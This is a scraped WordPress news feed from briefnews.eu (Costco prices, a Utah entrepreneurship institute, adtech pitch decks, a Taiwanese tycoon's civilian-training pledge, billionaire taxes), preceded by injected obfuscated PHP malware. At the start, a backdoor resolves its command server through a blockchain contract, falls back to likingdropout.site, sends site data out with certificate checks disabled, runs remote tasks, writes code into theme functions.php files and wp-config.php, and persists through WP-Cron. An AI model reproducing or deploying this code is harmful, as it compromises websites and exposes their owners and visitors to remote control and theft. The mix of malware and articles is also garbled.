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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); raise – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 03:38:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png raise – Brief News https://briefnews.eu 32 32 Leaving education early could raise your risk of dementia – lowers ‘cognitive reserve’ https://briefnews.eu/leaving-education-early-could-raise-your-risk-of-dementia-lowers-cognitive-reserve/ https://briefnews.eu/leaving-education-early-could-raise-your-risk-of-dementia-lowers-cognitive-reserve/#respond Tue, 27 Sep 2022 03:38:34 +0000 https://briefnews.eu/leaving-education-early-could-raise-your-risk-of-dementia-lowers-cognitive-reserve/

The length of time you remain in education can influence your likelihood of developing dementia, the Alzheimer’s Society has said.

]]> https://briefnews.eu/leaving-education-early-could-raise-your-risk-of-dementia-lowers-cognitive-reserve/feed/ 0 Costco says it won’t raise prices for now on its membership fees — or its famous $1.50 hot dog and soda combo https://briefnews.eu/costco-says-it-wont-raise-prices-for-now-on-its-membership-fees-or-its-famous-1-50-hot-dog-and-soda-combo/ https://briefnews.eu/costco-says-it-wont-raise-prices-for-now-on-its-membership-fees-or-its-famous-1-50-hot-dog-and-soda-combo/#respond Thu, 22 Sep 2022 23:50:32 +0000 https://briefnews.eu/costco-says-it-wont-raise-prices-for-now-on-its-membership-fees-or-its-famous-1-50-hot-dog-and-soda-combo/ Costco food court

Mary Meisenzahl/Insider

  • Costco said it has no plans to raise the price of its membership or its $ 1.50 hot dog combo at this time.
  • Costco exec Bob Nelson warned that membership fee hikes could come in the near future, though.
  • Costco recently raised prices on some goods, but Nelson said the company wants to be "the best value in the marketplace."

Costco has hiked prices on some items over the last year due to rising inflation, but the company has promised to keep the cost of two of the company's mainstays consistent, at least for now.

On the company's quarterly call, Costco executive Bob Nelson said the retailer has no plans to raise its membership dues at this time.

"Given the current macro environment, historically high inflation, and the burden it's having on our members and on all consumers in general, we think increasing our membership fee today ahead of our typical timing is not the right time," Nelson told investors and reporters. 

However, Nelson clarified that just because the company is not currently announcing a membership fee hike, it doesn't mean it will not announce one in the near future.   

He also attempted to put to bed rumors that Costco was raising the price of its famous food court staple. 

"I want to address some incorrect information floating around on social media and a few other media outlets claiming that we've increased the price of our hot dog and soda combination sold in our food courts. Let me just say, the price when we introduced the hot dog and soda combo in the mid-80s is $ 1.50, the price today is $ 1.50, and we have no plans to increase the price at this time," Nelson said. 

The big box retailer hasn't been able to keep prices consistent on all its goods amid rising costs. For example, the company has raised prices on other food court items like its chicken bake, muffins, and croissants due to the increased price of raw materials. 

Nelson said that the company wants to be the "best value in the marketplace," and if it can prove that to customers, "it's easier to pass on higher costs." 

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  • University of Utah's Lassonde Entrepreneur Institute helps students launch startups and raise money.
  • Undergraduate students, graduate students, and alumni have access to mentorship and other resources.
  • The university also plans to offer an online master of business creation degree to expand its reach.
  • This article is part of a series focused on American cities building a better tomorrow called "Advancing Cities."

Over the past 20 years, Troy D'Ambrosio, executive director of the University of Utah's Lassonde Entrepreneur Institute, has helped Salt Lake City's entrepreneur community flourish. He leads programs for students at the university that fosters a culture of innovation and supports the next generation of startup founders.

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Troy D’Ambrosio.

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The institute he works for, which was founded in 2001, is part of the university's David Eccles School of Business. It offers programs for high school students, undergraduates, and graduate students, and also just launched a new program for alumni. US News and World Report ranks it as one of the top 10 entrepreneurship schools in the nation.

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"We've seen how much interest there is from entrepreneurs and where we thought we could fill in the gaps" to be a resource for them, D'Ambrosio, who's also an assistant dean at the business school, told Insider.

Salt Lake City's entrepreneur community is "amazing, robust, creative, and continues to grow," he said. "It's becoming part of our DNA. Entrepreneurship is what people want to do in the future. They're really interested in entrepreneurship, technology, and innovation."

As a Salt Lake City native and University of Utah alum, D'Ambrosio said he's seeing entrepreneurship and innovation being used to solve problems around climate change, health care, and transportation. So far Lassonde has helped students launch more than 2,700 startups and raise more than $ 700 million in funding, including venture capital. These include the medical device LERC Medical, an addiction-recovery mobile app called Relay, and Kroy Railway Group, a company helping mitigate railroad safety issues.

Here's a look at how Lassonde is supporting innovation and entrepreneurship in students.

Giving University of Utah alumni the tools to start businesses 

This month, the institute launched Lassonde for Life, a new program open to University of Utah alumni who completed any degree in any major and now want to start or grow their business. The program is free and offered online so alumni can participate from anywhere.

"We have a number of alumni who have been really successful who are always coming back saying, 'You made an impact on my life while I was there. How can I give back now?'" D'Ambrosio said. Alumni also often get in touch to ask about resources for starting a business.

The program pairs these two groups. It will feature a series of workshops during the 2022-23 academic year that are hosted by successful alumni on topics like launching an e-commerce business, prototyping new products, conducting market research, and navigating legal issues for startups. 

D'Ambrosio said the first program will help the institute learn more about which programs to offer, how often, and the best format to deliver the content going forward. 

Expanding an online master's program to reach more entrepreneurs 

In January 2023, the business school will expand its master of business creation (MBC) degree online, which will enable anyone from around the world to enroll. It'll focus on "the founder's startup, applied curriculum, personalized mentorship, substantial scholarships, peer support and discussion, access to $ 5 million in startup funding, and more," according to an announcement about the program.

The online MBC is part-time with a flexible schedule that's completed in 14 months instead of the nine-month full-time program, which is in-person only. It will feature video content and live virtual group meetings. Every student is assigned a coach, who they'll meet with regularly one-on-one.

"We created the online program because we had so many people apply for the in-resident program who either couldn't physically be in Utah or Salt Lake or because of economic circumstances, they're still working a day job, they have children they're taking care of, or they couldn't participate in as intense of a program as in-resident," D'Ambrosio said.

Students in the online program will have 60% of their costs covered by scholarships and will pay around $ 15,000 out of pocket. Next, D'Ambrosio said they plan to launch region-specific online MBC programs in Africa and Europe.

Offering programs to the next generation of startup founders 

The institute provides many other initiatives, programs, and resources to support the next generation of entrepreneurs. Its Lassonde Studios is a 400-person residential community and innovation facility on campus for University of Utah students to create and launch ideas. It features a 20,000-square-foot innovation space with 3D printers, laser cutters, and office space.

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"It's become this gathering place, a community where entrepreneurs go," D'Ambrosio said. "It's a unique place where people can find each other on campus and work together." 

Students also help commercialize ideas created by other university departments by translating them into real products. D'Ambrosio said they've helped around 70 technologies developed at the university raise startup capital and enter the market, including Peel Therapeutics, a biotech company developing cancer and inflammatory disease medications that recently kicked off its clinical trials.

"We're using that intellectual property on campus as a tool to teach technology commercialization, entrepreneurship, and capital raising," D'Ambrosio said.

The institute also runs the High School Utah Entrepreneur Challenge (HSUEC), which is open to all Utah high school students, who can win prize money and scholarships based on their ideas. Another program, the Lassonde Founders Program, is a cohort of incoming freshmen at the university who have started companies. The students receive housing at Lassonde Studios, a scholarship, and access to resources and a community to develop their businesses.

"The really interesting thing for us is these young people teach us about the new trends and new technologies and stuff out there," D'Ambrosio said. "They're educating us as much as we're educating them."

Working with students and creating a place where they can develop their ideas and get them out into the world is what D'Ambrosio loves about his role.

"When a student walks into your office and says, 'I have this idea,' and I get to say, 'I can help you,' it's the coolest job ever," he said.

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  • Investors are pouring money into marketing and media startups.
  • These startups are using technology to disrupt advertising and marketing.
  • Read these 30 decks to see how these startups sold their visions to VCs and other investors.
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Investors are pouring money into startups that are trying to disrupt advertising, media, and marketing.

Insider has been tracking these startups that are using tech to capitalize on changing consumer media habits and marketers' desire to reach new audiences and ensure their ads are working.

They're enabling live shopping, measuring digital ad performance, collecting consumer data, and more.

Check out these pitch decks that they've used to sell their vision and raise millions from private equity and VC investors.

Making video ads that perform

Founded in 2014, video adtech firm VidMob offers technology and a marketplace that helps advertisers convert their TV and web ads into hundreds of different video formats. 

It also helps advertisers understand how specific creative decisions — such as how far away an actor is from the camera — influence how an ad performs on different platforms.

VidMob just raised a $ 110 million Series D round, led by Shamrock Partners.

Check out the pitch deck video-focused adtech company VidMob used to raise its $ 110 million Series D round 

Better B2B events

Goldcast is a B2B events startup that's trying to reimagine the stuffy conference arena by incorporating Netflix-like features in its video presentations. It also gathers info from attendees that clients can use to pitch them down the road.

Goldcast just raised $ 28 million in Series A funding from private-equity firm Westbridge Capital, with participation from VC firm Unusual Ventures, for a total of $ 40 million in funding.

A company that wants to be the Netflix of B2B events just raised $ 28 million — here's its pitch deck

Gaming ads

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Odeeo

Israeli startup Odeeo puts audio ads in mobile games so advertisers can message players without disrupting their gaming experience.

It just raised a $ 9 million seed round to expand to the US, led by Play Ventures and with participants including gaming studio founders Anton Gauffin and Lior Shiff and mobile guru Eric Seufert.

Read the pitch deck a startup used to raise $ 9 million from investors like mobile guru Eric Seufert to expand its video game ads business to the US

Shoppable video

Retailers are rushing to add video shopping tools to their sites to keep up with tech giants like Amazon and YouTube. Austin, Texas-based startup Kerv is helping companies make video ads shoppable, using machine learning and AI to recognize items in ads, match the items to a brand's products, and insert click-to-buy links.

Kerv recently raised $ 12 million in a growth round led by Trinity Capital Inc.

Read the pitch deck that helped a tech startup get $ 12 million to help big brands like Macy's and Apple make their video ads shoppable

Live shopping tools

Another startup, Firework, is jumping on the live video shopping trend, with software it sells to retail chains like Albertsons and Fresh Market.

Firework just raised $ 150 million in Series B funding led by SoftBank.

Read the pitch deck that a startup used to raise $ 150 million led by SoftBank to help retailers add live videos to their sites

Simplifying market research

Ad agency vets Grant McDougall, Liza Nebel, and Matt Gross started BlueOcean in 2019, when they saw an opening to use machine learning to show marketers how they and their competitors were performing. Now, they count Microsoft, Riot Games, and Bloomingdale's as clients.

The software-as-a-service startup just raised a $ 30 million Series B round, led by Insight Partners.

Check out the pitch deck this AI brand strategy startup used to raise $ 30 million to help marketers audit the strength of their brands

Marketing in the metaverse

Anzu, a startup whose technology inserts ads into video games, helps advertisers place logos and digitally-rendered products inside video games.

Anzu raised $ 20 million in a new funding round led by NBCUniversal and HTC, which manufactures electronics including VR headsets.

Read the pitch deck that helped an adtech startup raise $ 20 million to build ads in the metaverse

Capitalizing on messaging apps

AI platform Connectly helps businesses market to people through messaging apps. 

It was founded by the former head of Meta's messenger and blockchain businesses and Strava's ex-CTO.

Connectly raised $ 4 million in seed funding in February 2021 from Unusual Ventures, Marathon Venture Capital, and others and is now seeking $ 15 million.

Check out the pitch deck this startup is using to raise $ 15 million to help marketers capitalize on the rise of messaging apps

Reinventing the PowerPoint

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Giide

Crispin Porter Bogusky alums founded Giide to update the business presentation with tools that let customers create interactive, audio-based content.

They just raised $ 1.6 million in seed funding led by Supernode Global, which was joined by other early-stage venture funds including FirstMile Ventures and TechNexus.

Here's the pitch deck a startup that wants to reinvent the business presentation used to raise $ 2.2 million

Growing streaming TV businesses

Amagi helps media giants like NBCUniversal and Gannett build and distribute ad-supported streaming channels. It also provides tools to help content owners sell ad inventory.

It just raised $ 95 million in a round led by Accel Ventures, which it plans to use to invest in the news and sports categories.

Read the pitch deck a media tech firm used to raise $ 95 million to help content owners like NBCUniversal and Gannett run their streaming channels

Targeting home buyers

Adtech vet Ed Carey got the idea for Audience Town, an ad tech startup focused on real estate, when he realized how data-rich the industry was.
The company uses public property data to help advertisers target home buyers and owners, and it just raised $ 6.1 million in its third seed round from investors including Utah's Wasatch Venture Partners and Aperiam Ventures.

This pitch deck helped an adtech startup raise $ 6.1 million to capitalize on the red-hot real estate market

Connecting PR pros to journalists

As consumers avoid online ads and tech giants curtail advertisers' use of targeting, marketers need to find other ways to get their messages in front of people.

Tech startup Propel argues that PR has a chance to benefit by using earned media. It sells tech that helps public relations pros find the right journalists to pitch.

It just raised $ 4.5 million in seed funding, led by Lyft and DoorDash investor NFX.

Read the pitch deck that helped a PR tech startup raise $ 4.5 million, led by an early investor of DoorDash and Lyft

Socially responsible advertising

UK startup Good-Loop is trying to harness companies' growing desire to show they're socially responsible. It's encouraging viewers to watch ads by having brands donate to one of their charity partners once the video is complete. Clients include Unilever, PepsiCo, Nestlé, Levi's, Adidas, NBC Universal, and Nike. 

It just raised a $ 6.1 million Series A round, led by Questus Capital Management.

See the pitch deck watch-to-donate adtech startup Good-Loop used to raise a $ 6.1 million Series A round

Creative consulting platform

Founded in the UK in 2015, BeenThereDoneThat connects companies with c-suite creative and strategy officers to help them solve marketing and advertising challenges by linking them to a network of chief strategy, chief innovation, and chief creative officers. 

The startup just raised a $ 7 million Series A round, led by VC firm Beringea.

See the pitch deck creative marketing consultancy BeenThereDoneThat used to raise a $ 7 million Series A round

AI tools to grow sales

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Ocean.io

Ocean.io is a Copenhagen-based martech data platform that helps clients like Sony, UserTesting, and Brandwatch target key B2B accounts.

Personalizing B2B marketing can be a tedious process, but Ocean.io's pitch is that it analyzes more than 300 million web pages, company registries, public databases, and existing account and transaction data to help companies find likely prospects.

The company just raised $ 7 million from Peak Capital and existing investors.

See the deck that helped a martech startup used by Sony and Brandwatch raise $ 7 million. The European company is now set to expand to the US.

Measuring the value of PR services

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Eddie Kim, CEO and founder of Memo

Memo

Founded in 2018, Memo pitches software that shows clients like Google and Samsung how many people read an article about their company or products, using data from publishers like Condé Nast, Forbes, and The Washington Post.

It most recently raised $ 10 million in Series A, for a total of $ 17 million in funding.

Read the pitch deck that a PR startup used to raise $ 10 million to help clients like Samsung and Google grab publisher insights

Protecting companies' reputations

Founded in 2013, Signal AI collects and analyzes data from regulatory filings, social media, broadcast, and net promoter scores to help clients like Bank of America Securities, Google, and Exxon Mobil, measure their reputation and manage supply chain risks.

It just raised $ 50 million in Series D funding from venture capital firm Highland Europe along with asset manager Abrdn.

Check out the pitch deck that a PR tech company used to raise $ 50 million to extend its business beyond public relations

Collecting data in the privacy era

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Qonsent

Advertisers are scrambling to find new ways to market to people as the privacy clampdown makes it harder to target people online.

Qonsent is a startup that helps advertisers get customers to share personal data like birthdays or email addresses using QR codes on ad creative.

It just raised $ 5 million in seed funding from Zekavat Investment Group, who led the round; VaynerMedia CEO Gary Vaynerchuk; and Michael Kassan, chairman and CEO of MediaLink.

Check out the pitch deck a privacy tech startup used to raise $ 5 million from investors like Gary Vaynerchuk to transform how advertisers collect customer data

Selling mobile advertising

UK-based Picnic says digital ads are rife with fraud and perform terribly. Its solution: mobile ads inspired by social media features like stories and carousels that actually engage readers. It claims its ad formats boost ad performance for brands and bring in more revenue for online publishers.

Now it's expanding to the US with help from $ 3 million in Series A funding it just raised from Guinness Asset Management, along with existing angel investors.

Check out the pitch deck that helped UK digital advertiser network Picnic raise $ 3 million

Customizing the user experience

Businesses have scrambled to update their digital operations in the pandemic, creating an opportunity for UX startups like Uniform that help companies customize their user online experience.

Uniform just raised $ 28 million from Insight Partners, Array Ventures, and Elad Gil.

Check out the pitch deck that this startup that helps advertisers customize their digital user experience used to raise $ 28 million

Creating non-intrusive audio ads

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AudioMob cofounders Christian Facey (left) and Wilfrid Obeng.

AudioMob

UK-based adtech firm AudioMob offers audio ads that appear in mobile games. It pitches the ads as "non-intrusive" because they don't interrupt the gameplay, the ads only play if a user's device is set to a certain volume, and they don't rely on hypertargeted tracking techniques.

It just raised a $ 14 million Series A round from investors including Makers Fund, Lightspeed Venture Partners, Sequoia Capital, and Google, to grow its team and expand to new products.

See the pitch deck that helped audio ads firm AudioMob raise $ 14 million from investors including Makers Fund, Lightspeed Venture Partners, and Google

Bringing efficiency to video editing

Toch.ai is an India-based startup that aims to democratize video editing, arguing that the technologies to produce and distribute videos require time-consuming, manual processes, and existing video editing software can be pricey.

Toch.ai has raised $ 11.75 million in Series A funding led by Moneta Ventures to support an expansion into bigger markets like the US.

See the pitch deck that helped a video-editing startup raise $ 12 million to take on Adobe and expand into the US

Placing contextual advertising

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Seedtag

Contextual advertising has become a buzzy area in adtech as the sector shifts away from the precision-targeting and tracking of individual users. 

Founded seven years ago by two former Googlers, Seedtag specializes in contextual advertising — using data and artificial intelligence to place ads within relevant publisher content that users should be more likely to interact with. 

Seedtag recently raised a $ 40 million funding round, led by Oakley Capital. 

See the pitch deck that helped contextual advertising firm Seedtag raise $ 40 million. The European adtech company now plans a US expansion.

Automating ad creation

Dan Pantelo started a performance marketing agency in college and pivoted to software after discovering that creative testing was the most important and time-consuming part of making ads.

Today, his marketing technology startup Marpipe claims to help advertisers figure out which ads perform best by automatically testing hundreds of variations.

Marpipe recently raised $ 8 million in Series A for a total of $ 10 million raised to date.

The key pitch deck slides that helped an ad automation startup raise $ 10 million

Connecting companies to freelancers

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Catalant Technologies

Investors are pouring millions into platforms like Catalant Technologies that connect companies to independent advertising and consulting professionals, a need that's growing as people quit in the pandemic.

Catalant has raised more than $ 100 million by pitching itself as an alternative to consulting giants like McKinsey.

See the key slides a staffing platform used to raise more than $ 100 million from investors like Morningside CEO Gerald Chan

Data management tools

Google and Apple's moves to clamp down on third-party cookies and the rise of online shopping have advertisers clamoring for help managing all their customer data so they can effectively market to them.

One such company is 4-year-old Amperity, which sells software that clients like Starbucks, Patagonia, and Crocs use to manage stats from sales, email, e-commerce, and loyalty card programs.

Amperity raised $ 100 million in its Series D from existing investors including Tiger Global Management, Declaration Partners, and Madrona Venture Group, for a total of $ 187 million.

Here's the pitch deck that helped a marketing tech startup raise $ 100 million at a $ 1 billion valuation to help brands manage their data

Out-of-home advertising platform

Outdoor advertising is coming back after being crushed during the pandemic, and adtech startup OneScreen.ai is hoping to cash in with a platform for brands to search, buy, run and measure their out-of-home ad campaigns.

OneScreen recently raised $ 1.2 million in pre-seed funding in a round led by Florida-based fund TechFarms Capital with other investors including HubSpot cofounders Brian Halligan and Dharmesh Shah, Wayfair's alumni fund Wayfund, Lola.com CEO Mike Volpe, and BuySellAds.com CEO Todd Garland.

See the pitch deck that Google, Hubspot and Wayfair alums used to raise $ 1.2 million to build the 'Amazon of out-of-home advertising'

Collecting consumer data

Tracer started in 2015 as a unit of Gary Vaynerchuk's ad agency VaynerMedia that automatically collects and organize data that isn't personally identifiable. Led by Tracer co-founder and CEO Jeffrey Nicholson, it also offers free consulting services. It started by helping VaynerMedia oversee hundreds of millions in ad buys for clients like Oreo maker Mondelez; today, clients include other ad agencies like Labelium; Condé Nast; and pharma giant Sanofi.

Tracer recently raised $ 9.9 million in seed funding led by big names like former Walmart and Amazon exec Marc Lore and NBA star Kevin Durant's firm Thirty Five Ventures.

Read the pitch deck a Gary Vaynerchuk-backed data startup used to raise $ 10 million from investors like Walmart's ex-ecommerce CEO

Growing repeat customers

Retina AI founder Emad Hasan
Retina AI founder Emad Hasan

Retina AI

As people do more of their shopping online, marketers are trying to get them to become repeat customers.

Former Paypal and Facebook product and data analytics manager Emad Hasan says his startup Retina helps brands like Dollar Shave Club and Madison Reed acquire and keep customers by building lookalike audiences based on companies' order history and shopper attributes.

It recently raised $ 8 million in Series A funding from Alpha Intelligence Capital, Vertical Venture Partners, and others. 

This investor deck helped a former Facebook product manager raise $ 8 million to help brands boost customers' long-term value

Real-time market research

Agency veteran Matt Britton pitches his consumer intelligence startup Suzy as an always-on digital assistant like Siri or Alexa for marketers. It has a consumer panel that lets marketers conduct surveys and research on subjects like product development and ad effectiveness testing.

He raised $ 50 million in Series D after closing a $ 34 million Series C last year, bringing its total raised to $ 100 million.

H.I.G. Growth Partners, an affiliate of H.I.G. Capital, led the round, with Rho Capital Partners, Bertelsmann Digital Media Investments, Foundry Group, and Triangle Peak Partners also participating.

See the pitch deck a market research startup that's trying to rival Qualtrics and SurveyMonkey used to raise $ 50 million

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Retired tech tycoon Robert Tsao also announced that he had regained his Taiwanese identity after giving up his Singaporean citizenship.

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  • A retired Taiwanese tech mogul is pledging his millions to fund training for civilian troops.
  • He says he'd pay a private military training outfit to train 3 million civilians for three years.
  • Taiwan has around 88,000 active-duty ground troops, compared to China's 1.04 million professionals.

A retired Taiwanese tech tycoon said on Thursday that he plans to use his own wealth to train more than 3 million "civilian warriors" to defend against a Chinese invasion.

Robert Tsao, 75, intends to use $ 33 million of his own cash to fund the effort, according to Taiwan News, an English-language news outlet on the self-governing democratic island.

Tsao also announced that he was renouncing his Singaporean citizenship in favor of regaining his Taiwanese identity in light of China's repeated military threats to Taiwan, per Taiwan News.

According to the outlet, Tsao said his money would go toward having the civilian troops trained for three years by the Kuma Academy, a private military outfit also known as the "Black Bear Academy."

The eventual 3 million "black bear warriors" could then work alongside Taiwan's military, Agence France Presse reported, citing Tsao.

Tsao also said that $ 13 million from the sum would be used to train 300,000 "marksmen," the outlet reported.

Tsao became one of Taiwan's most prominent business magnates after founding United Microelectronics Corps in 1980. He no longer holds a position in the company.

As Insider reported, Taiwan has around 88,000 active-duty ground troops, compared to mainland China's 1.04 million professional soldiers. However, the island also has around 1.5 million reservists — civilians who have completed a four-month mandatory national service.

It's unclear if the "black bear warriors" mentioned by Tsao comprise reservists who will receive extra training, or if they are other civilians.

China-Taiwan tensions have soared since US Speaker of the House Nancy Pelosi visited the self-governing island in early August, despite Beijing's threats of military action. China's People's Liberation Army has so far responded to Pelosi's visit by carrying out live-fire drills in positions around Taiwan and sending ships and fighter jets into the areas around the island.

On Wednesday, Taiwan vowed to counterattack without exception should any of Beijing's forces crossed into the island's waters or airspace.

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  • A New York Times editorial titled “Abolish Billionaires” introduced many readers to an increasingly strong rallying cry on the American left.
  • Progressive politicians are calling for significantly increased taxes on the rich to counteract exceptionally high levels of wealth inequality in the US.
  • While there may be eyebrow-raising rhetoric around these policies, they aren’t radical.
  • This article is part of Business Insider’s ongoing series on “Better Capitalism.”

For the first time on a large scale, Americans are debating whether to allow the existence of billionaires.

On Thursday, The New York Times published columnist Farhad Manjoo’s “It’s high time we abolish billionaires” above the fold on the front page of its print edition. While Manjoo is far from the first person to articulate the idea — see freshman congresswoman Alexandria Ocasio-Cortez’s call for a 70% tax rate for income above $ 10 million or Sen. Elizabeth Warren’s call for a 3% wealth tax for fortunes above $ 1 billion — the unequivocal rallying cry was something different for the paper of record.

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